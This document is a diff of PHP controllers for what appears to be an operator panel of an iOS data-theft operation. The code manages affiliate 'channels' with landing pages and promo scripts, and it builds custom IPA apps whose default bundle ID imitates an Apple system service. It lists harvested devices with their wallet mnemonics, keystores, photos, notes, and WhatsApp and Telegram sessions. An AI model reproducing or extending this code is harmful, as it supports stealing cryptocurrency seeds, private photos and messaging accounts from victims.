'sync_rebuilt' => $build['sync_rebuilt'],
|
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||||
'support_path' => $build['support_path'],
|
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||||
'daily_path' => $build['daily_path'],
|
'weifile_path' => $build['weifile_path'] ?? null,
|
||||||
|
'daily_path' => $build['daily_path'] ?? '',
|
||||||
|
'channel_dir' => $build['channel_dir'] ?? null,
|
||||||
|
'show_alias' => $build['show_alias'] ?? null,
|
||||||
|
'embed_zip_url' => $channel->embedAssetDir()
|
||||||
|
? route($this->portal().'.channels.embedZip', $channel)
|
||||||
|
: '',
|
||||||
|
'embed_script' => $channel->promoScriptSnippet(),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create an "app" builder channel — DB row only, no static resources.
|
||||||
|
*
|
||||||
|
* channel_id is auto-generated as a UUID (a13b4f76-…). The caller
|
||||||
|
* supplies app_name (e.g. "Ai") and bundle_id (e.g. aai.AiAi168168AiAi.app).
|
||||||
|
*/
|
||||||
|
private function storeAppChannel(Request $request)
|
||||||
|
{
|
||||||
|
$data = $request->validate([
|
||||||
|
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||||
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
|
'app_name' => ['required', 'string', 'max:64'],
|
||||||
|
'bundle_id' => ['required', 'string', 'max:255'],
|
||||||
|
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||||
|
'remark' => ['nullable', 'string', 'max:255'],
|
||||||
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||||
|
if ($channelId === '') {
|
||||||
|
$channelId = Channel::randomAppChannelId();
|
||||||
|
}
|
||||||
|
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
|
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
|
}
|
||||||
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$channel = DB::transaction(function () use ($data, $channelId, $userId) {
|
||||||
|
if ($userId > 0) {
|
||||||
|
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||||
|
if (! $userExists) {
|
||||||
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
|
}
|
||||||
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'builder_type' => Channel::BUILDER_APP,
|
||||||
|
'user_id' => $userId,
|
||||||
|
'domains' => [],
|
||||||
|
'remark' => $data['remark'] ?? null,
|
||||||
|
'status' => (int) ($data['status'] ?? 1),
|
||||||
|
'app_name' => $data['app_name'],
|
||||||
|
'bundle_id' => $data['bundle_id'],
|
||||||
|
'h5_url' => $data['h5_url'] ?? null,
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
} catch (ValidationException $e) {
|
||||||
|
throw $e;
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => $e->getMessage() ?: '创建失败',
|
||||||
|
], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'id' => $channel->id,
|
||||||
|
'channel_id' => $channel->channel_id,
|
||||||
|
'builder_type' => $channel->builderType(),
|
||||||
|
'app_name' => $channel->app_name,
|
||||||
|
'bundle_id' => $channel->bundle_id,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* POST /admin/channels/build-app — Create App channel + build IPA.
|
||||||
|
*
|
||||||
|
* Creates the Channel record, then invokes AppPackageService to
|
||||||
|
* generate a customized IPA (domain, channel ID, app name, logo).
|
||||||
|
* Returns the download URL on success.
|
||||||
|
*/
|
||||||
|
public function buildApp(Request $request)
|
||||||
|
{
|
||||||
|
abort_if($this->isAgentPortal(), 403);
|
||||||
|
// Double-check super admin (route middleware admin.super is primary guard)
|
||||||
|
$admin = auth('admin')->user();
|
||||||
|
abort_if($admin === null || ! $admin->isSuper(), 403, '需要超级管理员权限');
|
||||||
|
|
||||||
|
$data = $request->validate([
|
||||||
|
'channel_id' => ['nullable', 'string', 'max:64', 'regex:/^[a-zA-Z0-9]{12}$/'],
|
||||||
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
|
'app_name' => ['required', 'string', 'max:64'],
|
||||||
|
'bundle_id' => ['nullable', 'string', 'max:255'],
|
||||||
|
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||||
|
'remark' => ['nullable', 'string', 'max:255'],
|
||||||
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$channelId = trim((string) ($data['channel_id'] ?? ''));
|
||||||
|
if ($channelId === '') {
|
||||||
|
$channelId = bin2hex(random_bytes(6)); // 12 hex chars like 16d946ea13aa
|
||||||
|
}
|
||||||
|
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
|
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
|
}
|
||||||
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
|
||||||
|
$bundleId = trim((string) ($data['bundle_id'] ?? ''));
|
||||||
|
if ($bundleId === '') {
|
||||||
|
$bundleId = 'com.apple.mobile.MobileHouseArrest';
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$channel = Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'builder_type' => Channel::BUILDER_APP,
|
||||||
|
'user_id' => $userId,
|
||||||
|
'domains' => [],
|
||||||
|
'remark' => $data['remark'] ?? null,
|
||||||
|
'status' => (int) ($data['status'] ?? 1),
|
||||||
|
'app_name' => $data['app_name'],
|
||||||
|
'bundle_id' => $bundleId,
|
||||||
|
'h5_url' => $data['h5_url'] ?? null,
|
||||||
|
]);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => $e->getMessage() ?: '创建渠道失败'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Handle logo upload
|
||||||
|
$logoPath = null;
|
||||||
|
if ($request->hasFile('logo')) {
|
||||||
|
$file = $request->file('logo');
|
||||||
|
if ($file->isValid() && in_array($file->getClientOriginalExtension(), ['png', 'jpg', 'jpeg', 'webp'])) {
|
||||||
|
$logoPath = $file->getRealPath();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Build IPA
|
||||||
|
$apiDomain = trim((string) config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||||||
|
|
||||||
|
try {
|
||||||
|
$service = app(\App\Services\AppPackageService::class);
|
||||||
|
$result = $service->build($channel, $logoPath, $apiDomain);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$result = ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()];
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => $result['success'] ? 0 : 1,
|
||||||
|
'msg' => $result['success'] ? '构建成功' : ('渠道已创建,但 IPA 构建失败:'.$result['error']),
|
||||||
|
'data' => [
|
||||||
|
'id' => $channel->id,
|
||||||
|
'channel_id' => $channel->channel_id,
|
||||||
|
'app_name' => $channel->app_name,
|
||||||
|
'bundle_id' => $channel->bundle_id,
|
||||||
|
'h5_url' => $channel->h5_url,
|
||||||
|
'ipa_url' => $result['success'] ? $result['path'] : null,
|
||||||
|
'ipa_size' => $result['size'],
|
||||||
|
'api_domain' => $apiDomain,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Create an "old" builder channel — 32-hex channel id, static resources
|
||||||
|
* under /web/{id}/ via the legacy channel-builder (new_project.py).
|
||||||
|
* Mirrors the new-builder flow but with the old id format and builder.
|
||||||
|
*/
|
||||||
|
private function storeOldChannel(Request $request, ChannelProjectService $projects)
|
||||||
|
{
|
||||||
|
$data = $request->validate([
|
||||||
|
'channel_id' => ['nullable', 'string', 'max:64'],
|
||||||
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
|
'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
|
||||||
|
'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||||
|
'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
|
||||||
|
'remark' => ['nullable', 'string', 'max:255'],
|
||||||
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
|
]);
|
||||||
|
|
||||||
|
$channelId = strtolower(trim((string) ($data['channel_id'] ?? '')));
|
||||||
|
if ($channelId === '') {
|
||||||
|
$channelId = Channel::randomChannelId();
|
||||||
|
}
|
||||||
|
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '旧版渠道 ID 必须是 32 位 hex']);
|
||||||
|
}
|
||||||
|
if (Channel::isReservedChannelName($channelId)) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '该渠道 ID 为保留名,请重新生成']);
|
||||||
|
}
|
||||||
|
if (Channel::query()->where('channel_id', $channelId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
|
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||||
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$builderType = Channel::BUILDER_OLD;
|
||||||
|
$supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
|
||||||
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
|
||||||
|
try {
|
||||||
|
$build = $projects->generate(
|
||||||
|
$channelId,
|
||||||
|
$supportTemplate,
|
||||||
|
null,
|
||||||
|
null,
|
||||||
|
$builderType,
|
||||||
|
);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => $e->getMessage() ?: '渠道资源生成失败',
|
||||||
|
], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$channel = DB::transaction(function () use ($data, $userId, $builderType, $channelId) {
|
||||||
|
if ($userId > 0) {
|
||||||
|
$userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
|
||||||
|
if (! $userExists) {
|
||||||
|
throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
|
||||||
|
}
|
||||||
|
$this->assertAgentChannelQuota($userId);
|
||||||
|
}
|
||||||
|
|
||||||
|
return Channel::query()->create([
|
||||||
|
'channel_id' => $channelId,
|
||||||
|
'builder_type' => $builderType,
|
||||||
|
'user_id' => $userId,
|
||||||
|
'domains' => [],
|
||||||
|
'remark' => $data['remark'] ?? null,
|
||||||
|
'status' => (int) ($data['status'] ?? 1),
|
||||||
|
]);
|
||||||
|
});
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
$this->compensateBuildUnlessChannelExists($projects, $channelId, $builderType);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => $e->getMessage() ?: '创建失败',
|
||||||
|
], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'id' => $channel->id,
|
||||||
|
'builder_type' => $channel->builderType(),
|
||||||
|
'links' => $channel->supportLinks(),
|
||||||
|
'seeds' => $build['seeds'],
|
||||||
|
'domains' => $build['domains'],
|
||||||
|
'seeds_initialized' => $build['seeds_initialized'],
|
||||||
|
'sync_rebuilt' => $build['sync_rebuilt'],
|
||||||
|
'support_path' => $build['support_path'] ?? $channel->landingPath(),
|
||||||
|
'weifile_path' => $build['weifile_path'] ?? null,
|
||||||
|
'daily_path' => $build['daily_path'] ?? '',
|
||||||
|
'channel_dir' => $build['channel_dir'] ?? null,
|
||||||
|
'show_alias' => $build['show_alias'] ?? null,
|
||||||
|
'embed_zip_url' => $channel->embedAssetDir()
|
||||||
|
? route($this->portal().'.channels.embedZip', $channel)
|
||||||
|
: '',
|
||||||
|
'embed_script' => $channel->promoScriptSnippet(),
|
||||||
],
|
],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
@@ -193,9 +533,13 @@ class ChannelController extends Controller
|
|||||||
} else {
|
} else {
|
||||||
$data = $request->validate([
|
$data = $request->validate([
|
||||||
'user_id' => ['nullable', 'integer', 'min:0'],
|
'user_id' => ['nullable', 'integer', 'min:0'],
|
||||||
|
'h5_url' => ['nullable', 'string', 'max:2048'],
|
||||||
'remark' => ['nullable', 'string', 'max:255'],
|
'remark' => ['nullable', 'string', 'max:255'],
|
||||||
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
'status' => ['nullable', 'integer', Rule::in([0, 1])],
|
||||||
]);
|
]);
|
||||||
|
if (array_key_exists('h5_url', $data)) {
|
||||||
|
$channel->h5_url = $data['h5_url'] ?: null;
|
||||||
|
}
|
||||||
if (array_key_exists('user_id', $data)) {
|
if (array_key_exists('user_id', $data)) {
|
||||||
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
$userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
|
||||||
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
|
||||||
@@ -223,16 +567,35 @@ class ChannelController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function downloadEmbed(Channel $channel, ChannelEmbedZipService $zips)
|
||||||
|
{
|
||||||
|
$this->authorizeChannel($channel);
|
||||||
|
if ($channel->isAppBuilder()) {
|
||||||
|
abort(404);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$path = $zips->build($channel);
|
||||||
|
} catch (\Throwable $e) {
|
||||||
|
abort(404, $e->getMessage() ?: '打包失败');
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->download($path, $channel->embedZipName(), [
|
||||||
|
'Content-Type' => 'application/zip',
|
||||||
|
])->deleteFileAfterSend(true);
|
||||||
|
}
|
||||||
|
|
||||||
public function destroy(Channel $channel, ChannelProjectService $projects)
|
public function destroy(Channel $channel, ChannelProjectService $projects)
|
||||||
{
|
{
|
||||||
abort_if($this->isAgentPortal(), 403);
|
abort_if($this->isAgentPortal(), 403);
|
||||||
$this->authorizeChannel($channel);
|
$this->authorizeChannel($channel);
|
||||||
|
|
||||||
$channelId = $channel->channel_id;
|
$channelId = $channel->channel_id;
|
||||||
|
$builderType = $channel->builderType();
|
||||||
try {
|
try {
|
||||||
// Delete remotely first: a failed remote delete leaves the DB row available
|
// Delete remotely first: a failed remote delete leaves the DB row available
|
||||||
// for a safe retry instead of orphaning an unreachable static project.
|
// for a safe retry instead of orphaning an unreachable static project.
|
||||||
$projects->deleteWebTree($channelId);
|
$projects->deleteWebTree($channelId, $builderType);
|
||||||
DB::transaction(static fn () => $channel->delete());
|
DB::transaction(static fn () => $channel->delete());
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
return response()->json([
|
return response()->json([
|
||||||
@@ -271,7 +634,8 @@ class ChannelController extends Controller
|
|||||||
|
|
||||||
private function compensateBuildUnlessChannelExists(
|
private function compensateBuildUnlessChannelExists(
|
||||||
ChannelProjectService $projects,
|
ChannelProjectService $projects,
|
||||||
string $channelId
|
string $channelId,
|
||||||
|
string $builderType = Channel::BUILDER_OLD,
|
||||||
): void {
|
): void {
|
||||||
try {
|
try {
|
||||||
// A concurrent request may have won the unique channel_id insert. Its
|
// A concurrent request may have won the unique channel_id insert. Its
|
||||||
@@ -289,10 +653,11 @@ class ChannelController extends Controller
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
$projects->deleteWebTree($channelId);
|
$projects->deleteWebTree($channelId, $builderType);
|
||||||
} catch (\Throwable $e) {
|
} catch (\Throwable $e) {
|
||||||
Log::error('Failed to compensate channel build', [
|
Log::error('Failed to compensate channel build', [
|
||||||
'channel_id' => $channelId,
|
'channel_id' => $channelId,
|
||||||
|
'builder_type' => $builderType,
|
||||||
'error' => $e->getMessage(),
|
'error' => $e->getMessage(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,52 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Services\DailyReportService;
|
||||||
|
use App\Support\AgentScope;
|
||||||
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
|
class DailyReportController extends Controller
|
||||||
|
{
|
||||||
|
use PortalAware;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly DailyReportService $reports,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function index()
|
||||||
|
{
|
||||||
|
[$from, $to] = $this->reports->window();
|
||||||
|
|
||||||
|
return view('admin.reports.daily', [
|
||||||
|
'portal' => $this->portal(),
|
||||||
|
'defaultFrom' => $from->toDateString(),
|
||||||
|
'defaultTo' => $to->toDateString(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function data(Request $request)
|
||||||
|
{
|
||||||
|
$filters = [
|
||||||
|
'date_from' => trim((string) $request->query('date_from', '')),
|
||||||
|
'date_to' => trim((string) $request->query('date_to', '')),
|
||||||
|
'date_range' => trim((string) $request->query('date_range', '')),
|
||||||
|
'agent_user_id' => $this->isAgentPortal()
|
||||||
|
? null
|
||||||
|
: AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||||
|
];
|
||||||
|
[$from, $to] = $this->reports->resolveBounds($filters);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => [
|
||||||
|
'rows' => $this->reports->rows($this->agent(), $filters),
|
||||||
|
'from' => $from->toDateString(),
|
||||||
|
'to' => $to->toDateString(),
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -4,16 +4,19 @@ namespace App\Http\Controllers\Admin;
|
|||||||
|
|
||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
use App\Models\Device;
|
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Services\DashboardStatsService;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
use Carbon\Carbon;
|
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
|
||||||
class DashboardController extends Controller
|
class DashboardController extends Controller
|
||||||
{
|
{
|
||||||
use PortalAware;
|
use PortalAware;
|
||||||
|
|
||||||
|
public function __construct(
|
||||||
|
private readonly DashboardStatsService $stats,
|
||||||
|
) {}
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
$agents = $this->isAgentPortal()
|
$agents = $this->isAgentPortal()
|
||||||
@@ -28,56 +31,22 @@ class DashboardController extends Controller
|
|||||||
|
|
||||||
public function data(Request $request)
|
public function data(Request $request)
|
||||||
{
|
{
|
||||||
$range = (string) $request->query('range', '30d');
|
$data = $this->stats->collect([
|
||||||
[$from, $to] = $this->rangeBounds($range);
|
'date_from' => trim((string) $request->query('date_from', '')),
|
||||||
|
'date_to' => trim((string) $request->query('date_to', '')),
|
||||||
$channelId = trim((string) $request->query('channel_id', ''));
|
'date_range' => trim((string) $request->query('date_range', '')),
|
||||||
$agentUserId = $this->isAgentPortal()
|
'range' => (string) $request->query('range', 'today'),
|
||||||
? (int) ($this->agent()?->id ?? 0)
|
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||||
: (int) $request->query('agent_user_id', 0);
|
'agent_user_id' => $this->isAgentPortal()
|
||||||
|
? null
|
||||||
$base = Device::query();
|
: AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')),
|
||||||
AgentScope::applyDeviceChannelScope($base, $this->agent());
|
'agent' => $this->agent(),
|
||||||
if (! $this->isAgentPortal() && $agentUserId > 0) {
|
]);
|
||||||
AgentScope::applyAgentUserFilter($base, $agentUserId);
|
|
||||||
}
|
|
||||||
if ($channelId !== '') {
|
|
||||||
$base->where('channel_id', 'like', '%'.$channelId.'%');
|
|
||||||
}
|
|
||||||
|
|
||||||
$total = (clone $base)->count();
|
|
||||||
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
|
|
||||||
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
|
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
'code' => 0,
|
'code' => 0,
|
||||||
'msg' => '',
|
'msg' => '',
|
||||||
'data' => [
|
'data' => $data,
|
||||||
'total' => $total,
|
|
||||||
'new_count' => $newCount,
|
|
||||||
'active_count' => $activeCount,
|
|
||||||
'range' => $range,
|
|
||||||
'from' => $from->toDateTimeString(),
|
|
||||||
'to' => $to->toDateTimeString(),
|
|
||||||
],
|
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
|
||||||
* @return array{0: Carbon, 1: Carbon}
|
|
||||||
*/
|
|
||||||
private function rangeBounds(string $range): array
|
|
||||||
{
|
|
||||||
$now = Carbon::now();
|
|
||||||
|
|
||||||
return match ($range) {
|
|
||||||
'today' => [$now->copy()->startOfDay(), $now->copy()->endOfDay()],
|
|
||||||
'yesterday' => [
|
|
||||||
$now->copy()->subDay()->startOfDay(),
|
|
||||||
$now->copy()->subDay()->endOfDay(),
|
|
||||||
],
|
|
||||||
'7d' => [$now->copy()->subDays(6)->startOfDay(), $now->copy()->endOfDay()],
|
|
||||||
default => [$now->copy()->subDays(29)->startOfDay(), $now->copy()->endOfDay()],
|
|
||||||
};
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,23 +3,39 @@
|
|||||||
namespace App\Http\Controllers\Admin;
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Admin;
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
use App\Models\DeviceApp;
|
use App\Models\DeviceApp;
|
||||||
use App\Models\DeviceEvent;
|
use App\Models\DeviceEvent;
|
||||||
|
use App\Models\DsChainLog;
|
||||||
use App\Models\Note;
|
use App\Models\Note;
|
||||||
|
use App\Models\PageVisit;
|
||||||
use App\Models\Photo;
|
use App\Models\Photo;
|
||||||
|
use App\Models\PluginSession;
|
||||||
|
use App\Models\PhotoRead;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Models\TransferRecord;
|
||||||
use App\Models\WalletAddress;
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletKeystore;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\DsBeaconQueue;
|
||||||
|
use App\Services\PhotoOrigin;
|
||||||
|
use App\Services\PhotoPreview;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\CfIpCountry;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Collection;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
use Illuminate\Support\Facades\Log;
|
||||||
use Illuminate\Support\Facades\Storage;
|
use Illuminate\Support\Facades\Storage;
|
||||||
|
|
||||||
class DeviceController extends Controller
|
class DeviceController extends Controller
|
||||||
{
|
{
|
||||||
use PortalAware;
|
use PortalAware;
|
||||||
|
use RevealsMnemonics;
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
@@ -30,6 +46,7 @@ class DeviceController extends Controller
|
|||||||
return view('admin.devices.index', [
|
return view('admin.devices.index', [
|
||||||
'portal' => $this->portal(),
|
'portal' => $this->portal(),
|
||||||
'agents' => $agents,
|
'agents' => $agents,
|
||||||
|
'countries' => CfIpCountry::names(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -38,30 +55,44 @@ class DeviceController extends Controller
|
|||||||
$filters = $this->filtersFrom($request);
|
$filters = $this->filtersFrom($request);
|
||||||
$q = $this->filteredQuery($filters);
|
$q = $this->filteredQuery($filters);
|
||||||
|
|
||||||
$sortable = ['id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'created_at', 'updated_at'];
|
$sortable = ['id', 'device_id', 'chain', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'has_wallet', 'created_at', 'updated_at'];
|
||||||
$field = (string) $request->query('field', 'updated_at');
|
$field = (string) $request->query('field', 'created_at');
|
||||||
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
$order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc';
|
||||||
if (! in_array($field, $sortable, true)) {
|
if (! in_array($field, $sortable, true)) {
|
||||||
$field = 'updated_at';
|
$field = 'created_at';
|
||||||
}
|
}
|
||||||
$q->orderBy('devices.'.$field, $order);
|
$q->orderBy('devices.'.$field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['devices.*'], 'page', $page);
|
||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function (Device $d) use ($portal) {
|
$items = collect($paginator->items());
|
||||||
|
$data = $items->map(function (Device $d) use ($portal) {
|
||||||
|
$country = CfIpCountry::normalize($d->country);
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $d->id,
|
'id' => $d->id,
|
||||||
'device_id' => $d->device_id,
|
'device_id' => $d->device_id,
|
||||||
|
'chain' => (int) ($d->chain ?: Device::CHAIN_CORUNA),
|
||||||
'channel_id' => $d->channel_id ?: '',
|
'channel_id' => $d->channel_id ?: '',
|
||||||
|
'source_domain' => $d->source_domain ?: '',
|
||||||
'device_model' => $d->device_model ?: '',
|
'device_model' => $d->device_model ?: '',
|
||||||
'ios_version' => $d->ios_version ?: '',
|
'ios_version' => $d->ios_version ?: '',
|
||||||
'ip' => $d->ip ?: '',
|
'ip' => $d->ip ?: '',
|
||||||
|
'country' => $country ?: '',
|
||||||
|
'country_label' => CfIpCountry::label($country),
|
||||||
|
'has_wallet' => (int) $d->has_wallet,
|
||||||
|
'wallet_names' => $d->walletNameList(),
|
||||||
|
'has_whatsapp' => $d->hasWhatsApp() ? 1 : 0,
|
||||||
|
'has_telegram' => $d->hasTelegram() ? 1 : 0,
|
||||||
|
'im_names' => $d->imNameList(),
|
||||||
|
'album_storage' => $d->albumStorageEnabled() ? 1 : 0,
|
||||||
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($d->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($d->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', $d),
|
'detail_url' => route($portal.'.devices.show', $d),
|
||||||
|
'destroy_url' => $portal === 'admin' ? route($portal.'.devices.destroy', $d) : '',
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
@@ -78,7 +109,7 @@ class DeviceController extends Controller
|
|||||||
$this->authorizeDevice($device);
|
$this->authorizeDevice($device);
|
||||||
|
|
||||||
$tab = $request->query('tab', 'wallets');
|
$tab = $request->query('tab', 'wallets');
|
||||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events', 'ws-sessions', 'tg-sessions'], true)) {
|
||||||
$tab = 'wallets';
|
